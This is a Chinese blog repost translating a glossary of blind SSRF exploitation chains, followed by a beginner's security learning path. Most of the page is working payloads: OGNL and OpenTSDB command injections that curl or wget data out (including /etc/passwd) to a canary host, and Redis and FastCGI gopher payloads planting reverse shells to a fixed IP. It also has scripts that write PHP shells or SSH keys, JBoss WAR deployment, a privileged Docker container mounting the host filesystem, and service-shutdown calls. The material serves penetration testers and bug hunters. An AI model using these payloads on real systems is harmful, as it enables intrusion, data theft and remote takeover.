[翻译]盲SSRF利用链术语表

翻译]盲SSRF利用链术语表

盲SSRF利用链术语表

介绍

什么是服务器请求伪造(SSRF)?

SSRF(Server-Side Request Forgery:服务请求伪造)是一种由攻击者构造,从而让服务端发起请求的一种安全漏洞,它将一个可以发起网络请求的服务当作跳板来攻击其他服务,SSRF的攻击目标一般是内网。当服务端提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片、下载等),但是没有对目标地址做过滤与限制时就会出现SSRF。

盲 SSRF(Blind SSRF)

在利用服务器端请求伪造时,我们经常会发现自己无法读取响应。这种行为通常被称为"盲SSRF(Blind SSRF)"。在这种情况下,我们如何证明影响?这是贾斯汀 · 加德纳在推特上引发的一次有趣的讨论:

编辑

添加图片注释,不超过 140 字(可选)

如果你能够获得内部资源,那么可以执行许多潜在的利用链来证明其影响。这篇文章尽可能详细介绍每个已知的盲SSRF的漏洞利用链,并将随着更多技术的发现和分享而更新。

你可以在这里找到一个GitHub仓库来查看所有的这些技术:Blind SSRF Chains。

请在GitHub上给我们发送一个pull请求,如果你想在这个术语表中添加更多的技术。

SSRF Canaries

编辑

添加图片注释,不超过 140 字(可选)

(当在内部将一个盲SSRF链接到另一个SSRF时,我倾向于称他们为SSRF Canaries,这将在外部进行额外调用,或者通过特定于应用程序的打开重定向或盲XXE。Confluence, Artifactory, Jenkins, 和JAMF都有一些很好的效果。)

为了验证你可以与内部服务或应用程序交互,你可以使用“SSRF Canaries”。

此时,我们可以请求一个内部URL,该URL执行另一个SSRF并调用你的 Canaries主机。如果你收到一个到你的Canaries主机的请求,这意味着你已经成功地命中了一个内部服务,该服务也能够发出出站请求。

这是验证SSRF漏洞是否可以访问内部网络或应用程序的有效方法,也是验证内部网络上是否存在某些软件的有效方法。你还可以使用SSRF检测器访问内部网络中更敏感的部分,这取决于它位于何处。学习计划

使用DNS数据源和AltDNS查找内部主机

目标是找到尽可能多的内部主机,DNS数据源可以用来找到指向内部主机的所有记录。

在云环境中,我们经常看到指向内部VPC中的主机的elb。根据资产所在VPC的不同,有可能访问同一VPC内的其他主机。

例如,假设从DNS数据源中发现了以下主机:

stylus

 
 

livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

复制

你可以假设它代表Elasticsearch,然后对该主机执行进一步的攻击。还可以在通过这种方法在已确定的所有“内部”主机上喷洒所有盲SSRF Payloads。这一般情况下是有效的。

要找到更多的内部主机,我建议使用所有的DNS数据,然后使用AltDNS之类的东西生成排列,然后使用fast DNS bruteforcer解析它们。

完成后,识别所有新发现的内部主机,并将它们作为盲SSRF链的一部分。

侧信道泄露

当利用盲SSRF漏洞时,你可能会泄漏有关返回响应的一些信息。例如,假设你通过XXE盲打SSRF,则错误消息可能表示是否:

  • 返回了一个响应: Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.

  • 无法访问主机和端口: Error parsing request: System.Net.WebException: Unable to connect to the remote server

  • 响应状态代码: Online internal asset:port responds with vs offline internal asset:port 200 OK``500 Internal Server Error

  • 响应内容: 响应大小(以字节为单位)是小还是大,取决于你试图请求的URL是否可达。

  • 响应时间: 响应时间变慢或变快,这取决于你试图请求的URL是否可达。

技巧

可能通过HTTP (s)

Elasticsearch

默认端口: 9200

当内部部署Elasticsearch时,它通常不需要身份验证。

如果你有一个盲SSRF,你可以确定状态代码,检查看看以下端点是否返回200:

awk

 
 

/_cluster/health /_cat/indices /_cat/health

复制

如果你有一个可以发送POST请求的盲SSRF,你可以通过发送一个POST请求到以下路径来关闭Elasticsearch实例:

注意:这个API已经从Elasticsearch版本2.x及以上中移除了。这只能在Elasticsearch 1.6和以下版本运行

awk

 
 

/_shutdown /_cluster/nodes/_master/_shutdown /_cluster/nodes/_shutdown /_cluster/nodes/_all/_shutdown

复制

Weblogic

默认端口: 80, 443 (SSL), 7001, 7002, 8888

SSRF Canary: UDDI Explorer (CVE-2014-4210)

http

 
 

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1 Host: target.com Content-Length: 137 Content-Type: application/x-www-form-urlencoded ​ operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

复制

这也可以通过GET实现:

sas

 
 

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

复制

这个端点也容易受到CRLF注入的影响:

http

 
 

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0 Host: vuln.weblogic Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Connection: close

复制

将导致以下请求:

http

 
 

root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, */*; q=.2 Connection: Keep-Alive ​ <?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

复制

SSRF Canary: CVE-2020-14883

Taken from here.

Linux:

html

 
 

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117 ​ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

复制

Windows:

http

 
 

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117 ​ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

复制

Hashicorp Consul

默认端口: 8500, 8501(SSL)

Writeup can be found here.

Shellshock

默认端口: 80, 443 (SSL), 8080

为了有效地测试Shellshock,你可能需要添加一个包含payload的头。下面的CGI路径值得一试:

要测试的CGI路径列表:Gist containing paths.

SSRF Canary: Shellshock via User Agent

sqf

 
 

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY

复制

Apache Druid

默认端口: 80, 8080, 8888, 8082

请参阅Apache Druid的API参考。

如果你可以查看状态码,请检查以下路径,看看它们是否返回200状态码:

awk

 
 

/status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus

复制

关闭任务,需要你猜测任务id或数据源名称:

gradle

 
 

/druid/indexer/v1/task/{taskId}/shutdown /druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

复制

Apache Druid Overlords上的关闭监控器:

awk

 
 

/druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown

复制

Apache Solr

默认端口: 8983

SSRF Canary: Shards Parameter

编辑

添加图片注释,不超过 140 字(可选)

(为了补充shubham所说的--扫描solr相对容易。有一个shards=参数,允许你反弹SSRF到SSRF,用来验证你正在盲打的solr实例)

取自这里。

awk

 
 

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}} /solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json /xxx?q=aaa%26shards=http://SSRF_CANARY/solr /xxx?q=aaa&shards=http://SSRF_CANARY/solr

复制

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

xml

 
 

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>' /xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

复制

通过dataImportHandlerRCE

Research on RCE via dataImportHandler

PeopleSoft

默认端口: 80,443 (SSL)

取自这个研究

SSRF Canary: XXE #1

html

 
 

POST /PSIGW/HttpListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ... ​ <?xml version="1.0"?> <!DOCTYPE IBRequest [ <!ENTITY x SYSTEM "http://SSRF_CANARY"> ]> <IBRequest> <ExternalOperationName>&x;</ExternalOperationName> <OperationType/> <From><RequestingNode/> <Password/> <OrigUser/> <OrigNode/> <OrigProcess/> <OrigTimeStamp/> </From> <To> <FinalDestination/> <DestinationNode/> <SubChannel/> </To> <ContentSections> <ContentSection> <NonRepudiation/> <MessageVersion/> <Data><![CDATA[<?xml version="1.0"?>your_message_content]]> </Data> </ContentSection> </ContentSections> </IBRequest>

复制

SSRF Canary: XXE #2

html

 
 

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ... ​ <!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

复制

Apache Struts

默认端口: 80,443 (SSL),8080,8443 (SSL)

取自这里。

SSRF Canary: Struts2-016:

将这个附加到你知道的每个内部端点/URL的末尾:

xquery

 
 

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

复制

JBoss

默认端口: 80,443 (SSL),8080,8443 (SSL)

取自这里:

SSRF Canary: Deploy WAR from URL

awk

 
 

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

复制

Confluence

默认端口: 80,443 (SSL),8080,8443 (SSL)

通过OGNL注入实现RCE (CVE-2021-26084)

llvm

 
 

/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /confluence/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /wiki/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /pages/doenterpagevariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /pages/createpage.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /pages/templates2/viewpagetemplate.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /template/custom/content-editor?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /templates/editor-preload-container?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027 /users/user-dark-features?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027

复制

SSRF Canary: Sharelinks(2016年11月发布的Confluence版本及更早版本)

awk

 
 

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

复制

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

dts

 
 

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

复制

Jira

默认端口: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

dts

 
 

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

复制

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian Security Ticket JRASERVER-69793

awk

 
 

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

复制

其他Atlassian产品

默认端口: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0

  • Bitbucket < 4.14.4

  • Crowd < 2.11.2

  • Crucible < 4.3.2

  • Fisheye < 4.3.2

Atlassian Security Ticket OAUTH-344

dts

 
 

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

复制

OpenTSDB

默认端口: 4242

OpenTSDB远程代码执行

SSRF Canary: curl via RCE

sas

 
 

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

复制

OpenTSDB 2.4.0 远程代码执行

SSRF Canary: curl via RCE - CVE-2020-35476

sas

 
 

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

复制

Jenkins

默认端口: 80,443 (SSL),8080,8888

取自这里。

SSRF Canary: CVE-2018-1000600

awk

 
 

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

复制

RCE

按照这里的说明,通过GET实现RCE:黑客詹金斯第2部分-滥用元编程为未经验证的RCE!

reasonml

 
 

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

复制

通过Groovy RCE

ini

 
 

cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

复制

Hystrix Dashboard

默认端口: 80,443 (SSL),8080

Spring Cloud Netflix,版本2.2.x 2.2.4之前的版本2.1.x 在2.1.6版本之前。

SSRF Canary: CVE-2020-5412

awk

 
 

/proxy.stream?origin=http://SSRF_CANARY/

复制

W3 Total Cache

默认端口: 80,443(SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

这需要是PUT请求:

html

 
 

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close ​ {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

复制

SSRF Canary

关于此漏洞的建议发布在这里:W3 Total Cache SSRF漏洞

这个PHP代码将为你的SSRF Canary主机生成一个payload(用你的Canary主机替换):url

php

 
 

<?php ​ $url='http://www.google.com'; $file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_'); $file=chop($file,'='); $req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css'; echo($req); ​ ?>

复制

Docker

默认端口: 2375, 2376 (SSL)

如果你有一个部分回显SSRF,你可以使用以下路径来验证Docker的API的存在:

jboss-cli

 
 

/containers/json /secrets /services

复制

通过运行一个任意的docker镜像触发RCE

applescript

 
 

POST /containers/create?name=test HTTP/1.1 Host: website.com Content-Type: application/json ... ​ {"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

复制

将alpine替换为你希望docker容器运行的任意镜像。

Gitlab Prometheus Redis Exporter

默认端口: 9121

此漏洞影响13.1.1版本之前的Gitlab实例。根据Gitlab文档,从Gitlab 9.0开始,Prometheus及其导出程序默认是打开的。

这些导出器为攻击者使用CVE-2020-13379来攻击其他服务提供了一种很好的方法。一个很容易被利用的Exporter是Redis Exporter。

以下端点将允许攻击者转储redis服务器中通过target参数提供的所有密钥:

vim

 
 

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

复制

可能通过Gopher

Redis

默认端口: 6379

推荐阅读:

  • 试图通过HTTP请求攻击Redis

  • SSRF攻击Redis

通过Corn RCE - Gopher Attack Surfaces

bash

 
 

redis-cli -h $1 flushall echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1 redis-cli -h $1 config set dir /var/spool/cron/ redis-cli -h $1 config set dbfilename root redis-cli -h $1 save

复制

Gopher:

bash

 
 

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

复制

通过上传(PHP)shell RCE - Redis Getshell Summary

python

 
 

#!/usr/bin/env python # -*-coding:utf-8-*- ​ import urllib protocol="gopher://" ip="192.168.189.208" port="6379" shell="\n\n<?php phpinfo();?>\n\n" filename="shell.php" path="/var" passwd="" ​ cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd ​ if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

复制

通过 authorized_keys RCE - Redis Getshell Summary

python

 
 

import urllib protocol="gopher://" ip="192.168.189.208" port="6379" # shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd ​ if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload

复制

通过Git协议在GitLab上进行RCE

参考Liveoverflow的文章

虽然这需要通过身份验证访问GitLab才能利用,我这里的payload,因为协议可能对你正在攻击的目标有效。此payload仅供参考。

bash

 
 

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

复制

Memcache

默认端口: 11211

  • vBulletin Memcache RCE

  • GitHub Enterprise Memcache RCE

  • Example Gopher payload for Memcache

bash

 
 

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

复制

Apache Tomcat

默认端口: 80,443 (SSL),8080,8443 (SSL)

仅对Tomcat 6有效:

gopher-tomcat-deployer

使用此技术编写CTF:

From XXE to RCE: Pwn2Win CTF 2018 Writeup

FastCGI

默认端口: 80,443 (SSL)

取自这里

apache

 
 

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

复制

工具

Gopherus

  • Gopherus - Github

  • Blog post on Gopherus

这个工具产生的Gopher payload有:

  • MySQL

  • PostgreSQL

  • FastCGI

  • Redis

  • Zabbix

  • Memcache

SSRF Proxy

  • SSRF Proxy

SSRF Proxy是一个多线程HTTP代理服务器,旨在通过容易受到服务器端请求伪造(SSRF)攻击的HTTP服务器隧道客户端HTTP流量。

Credits:

原文:A Glossary of Blind SSRF Chains – Assetnote

感谢以下为这篇文章做出贡献的人:

  • @Rhynorater - Numerous contributions towards this blog post

  • @nnwakelam - Solr Shards SSRF

  • @marcioalm - Tomcat 6 Gopher RCE

  • @vtnahira - OpenTSDB RCE

  • @fransrosen - SSRF canaries concept

  • @theabrahack - RCE via Jenkins Groovy

  • bike chain logo by Rafael Empinotti from the Noun Project

网络安全入门学习路线

其实入门网络安全要学的东西不算多,也就是网络基础+操作系统+中间件+数据库,四个流程下来就差不多了。

1.网络安全法和了解电脑基础

其中包括操作系统Windows基础和Linux基础,标记语言HTML基础和代码JS基础,以及网络基础、数据库基础和虚拟机使用等...

别被这些看上去很多的东西给吓到了,其实都是很简单的基础知识,同学们看完基本上都能掌握。计算机专业的同学都应该接触了解过,这部分可以直接略过。没学过的同学也不要慌,可以去B站搜索相关视频,你搜关键词网络安全工程师会出现很多相关的视频教程,我粗略的看了一下,排名第一的视频就讲的很详细。 当然你也可以看下面这个视频教程仅展示部分截图 学到http和https抓包后能读懂它在说什么就行。

2.网络基础和编程语言

3.入手Web安全

web是对外开放的,自然成了的重点关照对象,有事没事就来入侵一波,你说不管能行吗! 想学好Web安全,咱首先得先弄清web是怎么搭建的,知道它的构造才能精准打击。所以web前端和web后端的知识多少要了解点,然后再学点python,起码得看懂部分代码吧。

最后网站开发知识多少也要了解点,不过别紧张,只是学习基础知识。

等你用几周的时间学完这些,基本上算是具备了入门合格渗透工程师的资格,记得上述的重点要重点关注哦! 再就是,要正式进入web安全领域,得学会web渗透,OWASP TOP 10等常见Web漏洞原理与利用方式需要掌握,像SQL注入/XSS跨站脚本攻击/Webshell木马编写/命令执行等。

这个过程并不枯燥,一边打怪刷级一边成长岂不美哉,每个攻击手段都能让你玩得不亦乐乎,而且总有更猥琐的方法等着你去实践。

学完web渗透还不算完,还得掌握相关系统层面漏洞,像ms17-010永恒之蓝等各种微软ms漏洞,所以要学习后渗透。可能到这里大家已经不知所云了,不过不要紧,等你学会了web渗透再来看会发现很简单。

其实学会了这几步,你就正式从新手小白晋升为入门学员了,真的不算难,你上你也行。

4.安全体系

不过我们这个水平也就算个渗透测试工程师,也就只能做个基础的安全服务,而这个领域还有很多业务,像攻防演练、等保测评、风险评估等,我们的能力根本不够看。

